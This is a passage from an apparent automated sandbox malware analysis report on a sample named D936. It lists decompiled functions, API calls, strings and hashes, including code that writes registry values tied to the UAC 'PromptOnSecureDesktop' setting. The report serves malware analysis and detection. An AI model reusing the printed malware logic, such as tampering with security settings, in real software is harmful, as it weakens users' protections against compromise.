					 *((char*)(_t105 + _t101 - _t98 - 0x24)) = 0;
					E0040EE5C(_t105 - 0x24, _t98, _t101 - _t98);
					_t22 = _t101 + 1; // 0x1
					_t98 = _t22;
					wsprintfA(_t105 - 0xa4, "%u.%u.%u.%u.%s",  *(_t105 + 0x64),  *(_t105 + 0x68),  *(_t105 + 0x60),  *(_t105 + 0x5c), _t105 - 0x24);
					_t80 = E00402684(_t105 - 0xa4);
					_t108 = _t108 + 0x2c;
					if(_t80 != 0) {
						 *(_t105 + 0x6c) =  *(_t105 + 0x6c) | 1 <<  *(_t105 + 0x7c);
					}
					 *(_t105 + 0x7c) =  *(_t105 + 0x7c) + 1;
					if( *(_t105 + 0x7c) > 0x1e) {
						goto L12;
					}
					_t101 = E0040ED03(_t98, 0x2c);
					if(_t101 != 0) {
						continue;
					}
					goto L6;
				}
				goto L12;
			}

0x00401c60
0x00401c64
0x00401c6a
0x00401c71
0x00401c74
0x00401c86
0x00401c8c
0x00401d1c
0x00401d1c
0x00401d1e
0x00401d1e
0x00401d21
0x00401d21
0x00401d23
0x00401d24
0x00401d2a
0x00401d2e
0x00401d30
0x00401d30
0x00401d33
0x00401d33
0x00401d35
0x00401d36
0x00401d42
0x00401d6b
0x00401d7e
0x00401d88
0x00401d88
0x00401d8b
0x00401d95
0x00401d95
0x00401c96
0x00401c9d
0x00401ca4
0x00401cab
0x00401cae
0x00401cb3
0x00401cbd
0x00401cd2
0x00401cd2
0x00401ce1
0x00401cea
0x00401cef
0x00401cf4
0x00401cfe
0x00401cfe
0x00401d04
0x00401d0a
0x00000000
0x00000000
0x00401d14
0x00401d1a
0x00000000
0x00000000
0x00000000
0x00401d1a
0x00000000

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65
localcfg, xrefs: 00401C70

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A731, Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

___libm_error_support.LIBCMTD ref: 0041A7E5

Part of subcall function 00421250: __encode_pointer.LIBCMTD ref: 00421331

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: ___libm_error_support__encode_pointer
String ID:
API String ID: 3390238661-0
Opcode ID: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction ID: d2b779e09a48ca7ca73ac901a871f0b031b46706e9bd513233a63c75d4fce492
Opcode Fuzzy Hash: c44d046865231dff2cdce69809e59661ac17edd7748d517aa8ef826d77e258c8
Instruction Fuzzy Hash: 45413B31C09744D6CB11AB38EA4516EB7B0FF95344F50C77AF88861161EB38CA69C34B

Uniqueness

Uniqueness Score: -1.00%

Function 0042E800, Relevance: 6.1, APIs: 4, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

___dtold.LIBCMTD ref: 0042E81A
_$I10_OUTPUT.LIBCMTD ref: 0042E842
_wcscpy_s.LIBCMTD ref: 0042E882

Part of subcall function 0041D8E0: __invalid_parameter.LIBCMTD ref: 0041D952

__invoke_watson_if_error.LIBCMTD ref: 0042E88B

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID:
API String ID: 289039318-0
Opcode ID: a8c4d8db5812687c1da15f1470539b89a22f59ef1d30e95bdecba4d4a309f728
Instruction ID: 68ce9390e08f73dd03190d259ea7c6fafd7f8382817fdb5cb50f7910eb28a2fe
Opcode Fuzzy Hash: a8c4d8db5812687c1da15f1470539b89a22f59ef1d30e95bdecba4d4a309f728
Instruction Fuzzy Hash: 10214AB5A003099BCB04EF65DC42EEEB7B4EF8C704F148559F905AB382E674E911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F18(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(WriteFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f1e
0x00403f22
0x00403f27
0x00403f2b
0x00403f2e
0x00403f3e
0x00403f4c
0x00403f7c
0x00403f7f
0x00403f86
0x00000000
0x00403f86
0x00000000
0x00403f83
0x00403f59
0x00000000
0x00000000
0x00403f5f
0x00403f7a
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403F44
GetLastError.KERNEL32 ref: 00403F4E
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403F5F
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: 81d5a9f64dfd66904774ebc82d2e0e48c629fa8216d99cd76bf4a5dbd4e59073
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: B9010C7291110AABDF01DF90ED44BEF7B7CEB08356F104066FA01E2190D774DA558BB6

Uniqueness

Uniqueness Score: -1.00%

Function 00403F8C, Relevance: 6.0, APIs: 4, Instructions: 46
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F8C(void* _a4, void* _a8, long _a12, long _a16, long _a20) {
				struct _OVERLAPPED _v24;
				long _t30;
				void* _t31;

				_v24.Offset = _v24.Offset & 0x00000000;
				_v24.OffsetHigh = _v24.OffsetHigh & 0x00000000;
				_t30 = _a12;
				_t31 = _a16;
				_a16 = _a16 & 0x00000000;
				_v24.hEvent = _t31;
				if(ReadFile(_a4, _a8, _t30,  &_a16,  &_v24) != 0) {
					L3:
					if(_t30 != _a16) {
						L5:
						return 0;
					}
					return 1;
				}
				if(GetLastError() != 0x3e5) {
					goto L5;
				}
				WaitForSingleObject(_t31, _a20);
				if(GetOverlappedResult(_a4,  &_v24,  &_a16, 0) == 0) {
					goto L5;
				}
				goto L3;
			}

0x00403f92
0x00403f96
0x00403f9b
0x00403f9f
0x00403fa2
0x00403fb2
0x00403fc0
0x00403ff0
0x00403ff3
0x00403ffa
0x00000000
0x00403ffa
0x00000000
0x00403ff7
0x00403fcd
0x00000000
0x00000000
0x00403fd3
0x00403fee
0x00000000
0x00000000
0x00000000

APIs

ReadFile.KERNEL32(00000000,00000000,0040A3C7,00000000,00000000,000007D0,00000001), ref: 00403FB8
GetLastError.KERNEL32 ref: 00403FC2
WaitForSingleObject.KERNEL32(00000004,?), ref: 00403FD3
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403FE6

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: 44fd539f7a3468c5635e20a1652967c761b46accf60e77792ab8a53432005efc
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A601177291110AAFDF01DF90ED45BEF3B7CEF08356F004062F906E2090D7749A549BA6

Uniqueness

Uniqueness Score: -1.00%

Function 022B4168, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 022B4194
GetLastError.KERNEL32 ref: 022B419E
WaitForSingleObject.KERNEL32(?,?), ref: 022B41AF
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 022B41C2

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedResultSingleWaitWrite
String ID:
API String ID: 3373104450-0
Opcode ID: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction ID: d091980aeb607a275da781412875fa03a04fc1a58cfc14458118856e8e98df27
Opcode Fuzzy Hash: 9f1c12f5bce82851f463a843ee7e6df514edb3150162876966f253c0cf19dcdf
Instruction Fuzzy Hash: 3E01977292110AABDF12EF94ED85BEE7B7CFF18396F104061F901E2061D7709A64CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 022B41DC, Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 022B4208
GetLastError.KERNEL32 ref: 022B4212
WaitForSingleObject.KERNEL32(?,?), ref: 022B4223
GetOverlappedResult.KERNEL32(00000000,00000000,00000000,00000000), ref: 022B4236

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ErrorFileLastObjectOverlappedReadResultSingleWait
String ID:
API String ID: 888215731-0
Opcode ID: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction ID: cbf0c77ce34302513f70b011599d4aa443a317737aa65c13facedc144d1a2332
Opcode Fuzzy Hash: 7dacf77ebfc6f27f1d23b030b7b6a0e1e1f459510f641919a7ac9d23c17bf39a
Instruction Fuzzy Hash: A401E97292110AABDF02EF91ED84BEE7B6CEF08395F404061FA01E2051D7B09A54DBB6

Uniqueness

Uniqueness Score: -1.00%

Function 022BE01F, Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 35stringCOMMON

Download Yara Rule

APIs

lstrcmp.KERNEL32(?,80000009), ref: 022BE04F

Strings

A, xrefs: 022BE020, 022BE025
A, xrefs: 022BE068
A, xrefs: 022BE01F

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: lstrcmp
String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: 06a18fc1925a58c544c04832636e00b1ca095d413ae98421b64ea826b424d830
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 27F0F6712003139FCB32CF94D884AC2B7F8FF09361B858A2AE524E3064D334E594CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 022BE3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,022B44CB,00000000,00000000,00000000), ref: 022BE459
CloseHandle.KERNEL32(00000001,00000003), ref: 022BE46D

Part of subcall function 022BE2E5: RegCreateKeyExA.ADVAPI32(80000001,022BE4F3,00000000,00000000,00000000,00020106,00000000,022BE4F3,00000000,000000E4), ref: 022BE302
Part of subcall function 022BE2E5: RegSetValueExA.ADVAPI32(022BE4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 022BE377
Part of subcall function 022BE2E5: RegDeleteValueA.ADVAPI32(022BE4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 022BE3A8
Part of subcall function 022BE2E5: RegCloseKey.ADVAPI32(022BE4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,022BE4F3), ref: 022BE3B1

Strings

PromptOnSecureDesktop, xrefs: 022BE4DA, 022BE4DF, 022BE520, 022BE54A

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: 5d8844bd6bfe03cb20caf2fd973d9f7469106eb5b436ac4b3426bd046cc3902f
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: 8E41F9B2910308BADB22AED18C05FDB3B6CDF04794F518065FE09A8095E7B58650DBB4

Uniqueness

Uniqueness Score: -1.00%

Function 022B8319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 022B83AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 022B8460

Part of subcall function 022B69AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 022B69CE
Part of subcall function 022B69AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 022B6A0F
Part of subcall function 022B69AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 022B6A23

Part of subcall function 022BEE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,022B1DB8,?), ref: 022BEE91
Part of subcall function 022BEE7E: HeapFree.KERNEL32(00000000), ref: 022BEE98

Strings

PromptOnSecureDesktop, xrefs: 022B839B, 022B83A0, 022B846C

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: 898447b1836b54f11e27071daab1e3a1d2496f6765404b28b9c23a9f263b6a03
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: 394175B2910209BFEB12EBE49D80EFF777DDF04384F14447AE508E6118E7749A948B56

Uniqueness

Uniqueness Score: -1.00%

